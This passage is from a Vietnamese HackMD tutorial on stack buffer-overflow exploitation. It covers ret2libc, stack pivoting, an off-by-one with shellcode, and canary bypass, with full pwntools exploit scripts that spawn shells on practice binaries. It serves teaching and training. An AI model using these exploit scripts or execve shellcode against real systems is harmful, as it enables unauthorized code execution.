p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendafter(b'something: \n', payload) libc_leak = u64(p.recv(6) + b'\0\0') libc.address = libc_leak - libc.sym['puts'] print("Libc leak: " + hex(libc_leak)) print("Libc base: " + hex(libc.address)) ###################################### ### get shell ### ###################################### payload = b'A'*88 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\x00'))) payload += p64(libc.sym['system']) p.sendafter(b'something: \n', payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/H1x3yJF1gx.png) ## Bof 8: Stack pivot chuyển hướng luồng thực thi * Kỹ thuật này mục đích là thay đổi `rsp/rbp` để thanh ghi trỏ tới vùng nhớ mà mình mong muốn. * Bài thứ nhất dưới đây là `Stack pivot` chuyển hướng luồng thực thi. Cách làm là overwrite `rbp`. ### Phân tích * Load file vào **IDA**: * `main()`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char buf[2]; // [rsp+Eh] [rbp-2h] BYREF init(argc, argv, envp); qword_404850 = (__int64)win; puts("Welcome human!"); while ( 1 ) { while ( 1 ) { while ( 1 ) { puts("1. Buy"); puts("2. Sell"); puts("3. Exit"); printf("> "); read(0, buf, 2uLL); if ( buf[0] != '1' ) break; buy(); } if ( buf[0] != '2' ) break; sell(); } if ( buf[0] == '3' ) break; puts("Invalid choice!"); } puts("Thanks for coming!"); return 0; } ``` * `win()`: ```py int win() { return system("/bin/sh"); } ``` * `buy`: ```py __int64 buy() { __int64 result; // rax char buf[28]; // [rsp+0h] [rbp-20h] BYREF int len_buf; // [rsp+1Ch] [rbp-4h] len_buf = 0; puts("1. Apple"); puts("2. Banana"); puts("3. Cambridge IELTS Volumn 4"); printf("> "); len_buf = read(0, buf, 40uLL); // buffer overflow result = (unsigned __int8)buf[len_buf - 1]; if ( (_BYTE)result == '\n' ) { result = len_buf - 1; buf[result] = 0; } return result; } ``` * `sell()`: ```py int sell() { return puts("I have nothing to sell"); } ``` * Từ việc quan sát tất cả các hàm, ta thấy chỉ ở hàm `buy()` xuất hiện **bof** thui. * Ta tiến hành debug thử. Ta thử nhập full `buf` 40 bytes xem có gì xảy ra. * ![Screenshot 2025-04-27 162517](https://hackmd.io/_uploads/SJs5uOoJge.png) * Tại lệnh này, chương trình lấy biến tại `[rbp-0x2]` ra để ghi dữ liệu, và pattern ta nhập overwrite qua `rbp`, khiến cho địa chỉ tại đó không còn là địa chỉ hợp lệ. Có thể thấy tại đây bị lỗi `SIGBUS (lỗi do truy cập địa chỉ bộ nhớ sai cách)` - Ở đây là địa chỉ không tồn tại. * À còn 1 điều nữa, rõ ràng chương trình ở đây có hàm `win()`, vậy `ret2win` luôn không được sao? --> Ta có thể thấy, khi nhập full bytes mà chương trình cho phép để quan sát thì `rsp` không bị `overwrite`, chỉ có `rbp` thôi. Có lẽ đây cũng là 1 dấu hiệu. * Ngoài ra khi tiến hành debug, thì `main()` còn có **leave ; ret** tương ứng với **mov rsp, rbp ; pop rbp**. ### Ý tưởng * Overwrite tới `save_rbp`, sau đó chuyển hướng stack vào vùng nhớ mình mong muốn - (ở đây là địa chỉ hàm win) ![image](https://hackmd.io/_uploads/HJJoUYsJeg.png) ### Exploit ```py from pwn import * exe = ELF("./bof8") p = process("./bof8") p.sendlineafter(b'>', b'1') payload = b'A'*32 payload += p64(0x404848) p.sendafter(b'>',payload) p.sendlineafter(b'>',b'3') p.interactive() ``` ![image](https://hackmd.io/_uploads/Sy_pPKsygx.png) :::info Ở đây có thể thấy địa chỉ `win()` là `0x404850` mà tại sao lại nhập là `0x404848`? --> Lý do là **leave ; ret** tương ứng với **mov rsp, rbp ; pop rbp**. Và **pop** nó xảy ra `alignment`, nên phải nhảy vào địa chỉ ở trước `win()` chứ không phải vào `win()` luôn nha. ::: ## Bof 9: Stack pivot thay đổi biến ### Phân tích * Load file vào **IDA**: * `main()`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { __int64 v4[4]; // [rsp+0h] [rbp-20h] BYREF v4[0] = 0x41414141LL; v4[1] = 0x42424242LL; v4[2] = 0x43434343LL; init(argc, argv, envp); printf("Gift for new user: %p\n", v4); get_credential(); if ( *v4 == __PAIR128__(0xDEADBEEFLL, 0x13371337LL) && v4[2] == 0xCAFEBABELL ) { system("/bin/sh"); } else { puts("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); puts("!!! Unauthorized access is forbidden !!!"); puts("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"); } return 0; } ``` * `get_credential()`: ```py ssize_t get_credential() { char username[32]; // [rsp+0h] [rbp-40h] BYREF char password[32]; // [rsp+20h] [rbp-20h] BYREF memset(password, 0, sizeof(password)); memset(username, 0, sizeof(username)); write(1, "Username: ", 0xAuLL); read(0, password, 34uLL); // buffer overflow write(1, "Password: ", 0xAuLL); return read(0, username, 32uLL); } ``` * Ở đây `v4` nằm trên **stack**, mà `printf("Gift for new user: %p\n", v4);` thì sẽ in ra địa chỉ **stack**. * Ta thấy tại hàm `read(password)` xảy ra **bof** khi khai báo $32$ bytes mà cho nhập $34$. * Đặt `breakpoint` tại hàm `read(password)`, `c` tới nó thì thấy như sau: ![Screenshot 2025-05-08 193237](https://hackmd.io/_uploads/rJIGrQqxlg.png) * `Username` được `read` vào địa chỉ `0x00007fffffffdaa0`, nếu chỉ nhập $32$ bytes thì ta chỉ vừa đẹp ghi tới `0x00007fffffffdab8`. Vậy ở đây khi được nhập $34$ bytes thì $2$ bytes cuối sẽ được luôn vào 2 bytes cuối của `rbp` (`daf0`) * Thử nhé: ![Screenshot 2025-05-08 193947](https://hackmd.io/_uploads/H15iL79xle.png) * Đó, sau khi nhập pattern 34 bytes `aaaaaaaabaaaaaaacaaaaaaadaaaaaaaea` thì 2 byte cuối của `rsp` bị thay đổi lúc này là $6165$ <-> `ae`. * Vậy lợi dụng điều này thì ta có thể kiểm soát 2 bytes cuối của `rsp`, từ đó ghi 3 giá trị `0xDEADBEEF,0x13371337,0xCAFEBABE` và chuyển hướng **stack** trỏ tới vùng đó. ### Ý tưởng * Ở đây ta có thể lựa chọn ghi 3 giá trị `0xDEADBEEF,0x13371337,0xCAFEBABE` vào `username` hoặc `password` đều được. Ở đây mình chọn ghi vào `username`. Sau đó tính `offset` tới vùng nhớ `username` ( nơi và ghi 3 giá trị kia ) để tìm `saved_rbp` mới. ![image](https://hackmd.io/_uploads/HJDtjX9eel.png) ### Exploit ```py from pwn import * p = process("./bof9") exe = ELF("./bof9") p.recvuntil(b'user: ') old_rbp = int(p.recvuntil(b'\n',drop=True),16) print("Stack leak: ",old_rbp) new_rbp = old_rbp - 0x10 payload = p64(0x13371337) payload += p64(0xDEADBEEF) payload += p64(0xCAFEBABE) payload += p64(0) payload += p64(new_rbp)[:2] p.sendafter(b'Username: ',payload) p.sendafter(b'Password: ',b'hihi') p.interactive() ``` ![image](https://hackmd.io/_uploads/BJjU0mqggl.png) :::success * Ở đây tại script xuất hiện `payload += p64(0)`, thì đơn giản là do mình dùng $32$ = $(4*8)$bytes để ghi giá trị, mà số giá trị cần ghi là $3$ tương ứng $3*8$ = 24 bytes, vậy còn $8$ bytes sau cùng thì ghi đại cái gì đó. Vậy thì `payload += p64(new_rbp)[:2]` mới overwrite được `saved_rbp` á. ::: ## Bof 10: Off by one ### Phân tích * Load file vào **IDA**: * Hàm `main()`: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char name[80]; // [rsp+0h] [rbp-50h] BYREF memset(name, 0, sizeof(name)); init(argc, argv, envp); puts("What's your name?"); printf("Your name: "); fgets(name, 80, stdin); puts("\nNice to meet you, let's play a game that I will repeat what you say"); printf("Ah before we start, I have a gift for you: %p\n", name); play_game("Ah before we start, I have a gift for you: %p\n"); return 0; } ``` * Hàm `play_game()`: ```py int __fastcall play_game(const char *a1) { char s[512]; // [rsp+0h] [rbp-200h] BYREF memset(s, 0, sizeof(s)); printf("Say something: "); __isoc99_scanf("%512s", s); // Buffer Overflow printf("You said: "); return puts(s); } ``` * Ở đây ta thấy tại `main()`, **name** được khai báo $80$ bytes và `fgets` nhập $80$ bytes, còn `play_game()`, **s** khai báo $512$ bytes và `scanf` nhập $512$ bytes. --> Vậy có lỗi gì không? :::success Với trường hợp ngữ cảnh bài này,`fgets` thì cho nhập từ bytes $0$->$79$, và nó thêm byte null vào bytes thứ $80$. Nhưng với `scanf` thì cho nhập tối đa $512$ bytes, và thêm byte null vào. Vậy tức là nếu `scanf` nhập đủ $512$ bytes, thì byte null sẽ thêm vào byte thứ $513$ -> ra ngoài `buffer`. ![Screenshot 2025-05-09 190955](https://hackmd.io/_uploads/r1zpx_igll.png) * Đó byte null bị xuống `rbp` rồi này. * **Offset** từ `0x00007fffffffda00` tới `rsp` là $0x170$ nha. ::: * Nghe thì thấy bug rồi đó, nhưng ta biết bytes đó luôn là byte null, ta không thay đổi được nó, vậy thì có thể làm gì để khai thác? ### Ý tưởng * Ta thử **checksec** xem: ![image](https://hackmd.io/_uploads/Hybxbbixlg.png) * Ở đây, `canary` tắt -> overflow được. `NX` tắt -> `stack` thực thi được. `PIE` tắt -> `ROPgadget` được. * Kết hợp với việc chương trình in ra giá trị `name` -> leak ra `stack`. * Vậy từ đó ta có thể chèn `shellcode` vào `s` khi nhập rồi có thể thực thi. ### Exploit ```py from pwn import * exe = ELF("./bof10") while True: try: p = process("./bof10") p.sendlineafter(b'Your name: ',b'giangnd') p.recvuntil(b'a gift for you: ') stack_leak = int(p.recvuntil(b'\n',drop=True),16) print("Stack leak: ",hex(stack_leak)) shellcode = asm( ''' mov rax, 0x3B mov rdi, 29400045130965551 push rdi mov rdi, rsp xor rsi, rsi xor rdx, rdx syscall ''',arch = 'amd64' ) ret_addr = 0x0000000000401357 payload = p64(ret_addr) * 0x30 payload += p64(stack_leak - 0x88) payload += shellcode payload = payload.ljust(0x200, b'A') p.sendlineafter(b'Say something: ',payload) p.recvuntil(b'\n',drop=True) p.sendline(b'echo hihi') resp = p.recvline(timeout=1) if b'hihi' in resp: print("[+] How can someone be both handsome and lucky?") p.interactive() except: print("[+] I think you need luck. Try again.") ``` ### Giải thích payload ![image](https://hackmd.io/_uploads/BkhOqLselx.png) ![image](https://hackmd.io/_uploads/Bk5R5Uslge.png) ![image](https://hackmd.io/_uploads/SyteiLslxx.png) * Ta thấy tại vùng `payload` này, ta được nhập tối đa 512 bytes, mà `shellcode` thì khá ngắn, nên dẫn tới xác suất để `ret` nhảy vào đúng `shellcode` là rất thấp. Vậy ở đây ta dùng 1 trick lỏ là pad nhiều lệnh `ret` vào những vị trí trên đó, vậy thì khi `ret` nhảy vào đâu đi nữa thì nó cũng sẽ thực thi từ trên xuống và sẽ tới được lệnh trỏ vào địa chỉ `shellcode` của mình. ![Screenshot 2025-05-09 174253](https://hackmd.io/_uploads/ryat3Lsgxe.png) * Đây là khi ta làm như trick, thì đến `0x00007ffdeddfd700` nó trỏ tới `0x00007ffdeddfd708` và `0x00007ffdeddfd708` trỏ tới `shellcode` ( đoạn màu hồng ). **Offset** từ `shellcode` tới `rsp` là $0x80$. :::danger * Còn 1 lưu ý nữa là tại sao ta chèn $0x30$ lệnh ret? * Như ở trên phân tích, **Offset** từ `rbp` tới `rsp` là $0x170$ (giờ là nơi ghi `shellcode`), và tiếp sau đó thì là `p64(stack_leak - 0x88)` và chèn `shellcode` nên thêm $(2*8) = 16$ bytes nữa, vậy tổng cộng là $(0x170 + 2*8)//8 = 0x30$. ::: ## Canary và bypass canary ![image](https://hackmd.io/_uploads/SJEfEtjexl.png) * Thông thường, ở đầu 1 hàm, một giá trị ngẫu nhiên, gọi là **canary**, được tạo và được chèn vào cuối vùng rủi ro cao nơi **stack** có thể bị tràn. Ở cuối hàm, nó sẽ được kiểm tra xem giá trị **canary** này có bị sửa đổi không. Nếu có sẽ ngay lập tức exit chương trình. * Vậy thì ta hiểu rằng nếu overwrite biến cục bộ với nhau trong buffer thì không vấn đề gì. Nhưng nếu overwrite làm thay đổi giá trị **canary**, thì khi kiểm tra ở cuối hàm, chương trình sẽ phát hiện và kết thúc ngay lập tức. :::success * Vậy thì làm sao để bypass **canary**? --> Nếu tồn tại **buffer overflow**, thì cách duy nhất là **leak canary**. * Đương nhiên rồi, ta lấy ra giá trị **canary** đó, overwrite đến khi gặp **canary** thì ghi lại là xong. ::: * Ở dưới đây mình có trình bày 1 ví dụ để thấy rõ hơn. ### Phân tích * Load file vào **IDA**: ```py int __cdecl main(int argc, const char **argv, const char **envp) { char name[32]; // [rsp+0h] [rbp-130h] BYREF __int64 feedback[34]; // [rsp+20h] [rbp-110h] BYREF feedback[33] = __readfsqword(0x28u); memset(name, 0, sizeof(name)); memset(feedback, 0, 256); init(argc, argv, envp); printf("Your name: "); read(0, name, 512uLL); printf("Hello %s\n", name); printf("Your feedback: "); read(0, feedback, 512uLL); puts("Thank you for your feedback!"); return 0; } ``` * Ta thấy tại `name` xảy ra **buffer overflow** rồi. Thử xem:![image](https://hackmd.io/_uploads/rk7ydtjlxl.png) * Đó bị detect rồi này. * Để xem giá trị **canary** ta có thể đặt **breakpoint** ngay sau lệnh `mov rax, QWORD PTR fs:0x28` để xem. ![Screenshot 2025-05-09 210613](https://hackmd.io/_uploads/Sk1MhKsell.png) * Giá trị này luôn có bytes đầu là null, còn lại 7 bytes là random. * Còn không nếu muốn xem chỉ cần `tel`, và nó nằm ngay trên `rbp`. ![Screenshot 2025-05-09 210724](https://hackmd.io/_uploads/ByVLhYsgge.png) ### Ý tưởng * Ta thấy **offset** từ buffer tới canary là $0x128$ nha. * Ở đây chương trình còn sử dụng hàm `read()`, không có cơ chế tự thêm byte null, lợi dụng điều đó ta overwrite $0x128$ thì vừa tới **canary**, vậy ghi thêm 1 bytes nữa thì sẽ vào bytes đầu của **canary** thì `printf()` sẽ leak ra cho mình **canary**. * À ngoài ra chương trình có hàm `win`, vậy thì **ret2win** thui. ### Exploit ```py from pwn import * from Crypto.Util.number import * exe = ELF("./canary") p = process("./canary") p.sendafter(b'Your name: ',b'A'*(0x128 + 1)) p.recvuntil(b'A'*(0x128 + 1)) canary = u64(b'\0' + p.recv(7)) print("Canary leak: ",hex(canary)) payload = b'A'*(0x128 - 0x20) payload += p64(canary) payload += p64(0) # fake rbp payload += p64(exe.sym['win']+8) p.sendafter(b'Your feedback: ', payload) p.interactive() ``` ![image](https://hackmd.io/_uploads/HyCbGhieeg.png)

    Import from clipboard

    Paste your markdown or webpage here...

    Advanced permission required

    Your current role can only read. Ask the system administrator to acquire write and comment permission.

    This team is disabled

    Sorry, this team is disabled. You can't edit this note.

    This note is locked

    Sorry, only owner can edit this note.

    Reach the limit

    Sorry, you've reached the max length this note can be.
    Please reduce the content or divide it to more notes, thank you!

    Import from Gist

    Import from Snippet

    or

    Export to Snippet

    Are you sure?

    Do you really want to delete this note?
    All users will lose their connection.

    Create a note from template

    Create a note from template

    Oops...
    This template has been removed or transferred.
    Upgrade
    All
    • All
    • Team
    No template.

    Create a template

    Upgrade

    Delete template

    Do you really want to delete this template?
    Turn this template into a regular note and keep its content, versions, and comments.

    This page need refresh

    You have an incompatible client version.
    Refresh to update.
    New version available!
    See releases notes here
    Refresh to enjoy new features.
    Your user state has changed.
    Refresh to load new user state.

    Sign in

    Forgot password
    or
    Sign in via Facebook Sign in via X(Twitter) Sign in via GitHub Sign in via Dropbox Sign in with Wallet
    Wallet ( )
    Connect another wallet

    New to HackMD? Sign up

    By signing in, you agree to our terms of service.

    Help

    • English
    • 中文
    • Français
    • Deutsch
    • 日本語
    • Español
    • Català
    • Ελληνικά
    • Português
    • italiano
    • Türkçe
    • Русский
    • Nederlands
    • hrvatski jezik
    • język polski
    • Українська
    • हिन्दी
    • svenska
    • Esperanto
    • dansk

    Documents

    Help & Tutorial

    How to use Book mode

    Slide Example

    API Docs

    Edit in VSCode

    Install browser extension

    Contacts

    Feedback

    Discord

    Send us email

    Resources

    Releases

    Pricing

    Blog

    Policy

    Terms

    Privacy

    Cheatsheet

    Syntax Example Reference
    # Header Header 基本排版
    - Unordered List
    • Unordered List
    1. Ordered List
    1. Ordered List
    - [ ] Todo List
    • Todo List
    > Blockquote
    Blockquote
    **Bold font** Bold font
    *Italics font* Italics font
    ~~Strikethrough~~ Strikethrough
    19^th^ 19th
    H~2~O H2O
    ++Inserted text++ Inserted text
    ==Marked text== Marked text
    [link text](https:// "title") Link
    ![image alt](https:// "title") Image
    `Code` Code 在筆記中貼入程式碼
    ```javascript
    var i = 0;
    ```
    var i = 0;
    :smile: :smile: Emoji list
    {%youtube youtube_id %} Externals
    $L^aT_eX$ LaTeX
    :::info
    This is a alert area.
    :::

    This is a alert area.

    Versions and GitHub Sync
    Get Full History Access

    • Edit version name
    • Delete

    revision author avatar     named on  

    More Less

    Note content is identical to the latest version.
    Compare
      Choose a version
      No search result
      Version not found
    Sign in to link this note to GitHub
    Learn more
    This note is not linked with GitHub
     

    Feedback

    Submission failed, please try again

    Thanks for your support.

    On a scale of 0-10, how likely is it that you would recommend HackMD to your friends, family or business associates?

    Please give us some advice and help us improve HackMD.

     

    Thanks for your feedback

    Remove version name

    Do you want to remove this version name and description?

    Transfer ownership

    Transfer to
      Warning: is a public team. If you transfer note to this team, everyone on the web can find and read this note.

        Link with GitHub

        Please authorize HackMD on GitHub
        • Please sign in to GitHub and install the HackMD app on your GitHub repo.
        • HackMD links with GitHub through a GitHub App. You can choose which repo to install our App.
        Learn more  Sign in to GitHub

        Push the note to GitHub Push to GitHub Pull a file from GitHub

          Authorize again
         

        Choose which file to push to

        Select repo
        Refresh Authorize more repos
        Select branch
        Select file
        Select branch
        Choose version(s) to push
        • Save a new version and push
        • Choose from existing versions
        Include title and tags
        Available push count

        Pull from GitHub

         
        File from GitHub
        File from HackMD

        GitHub Link Settings

        File linked

        Linked by
        File path
        Last synced branch
        Available push count

        Danger Zone

        Unlink
        You will no longer receive notification when GitHub file changes after unlink.

        Syncing

        Push failed

        Push successfully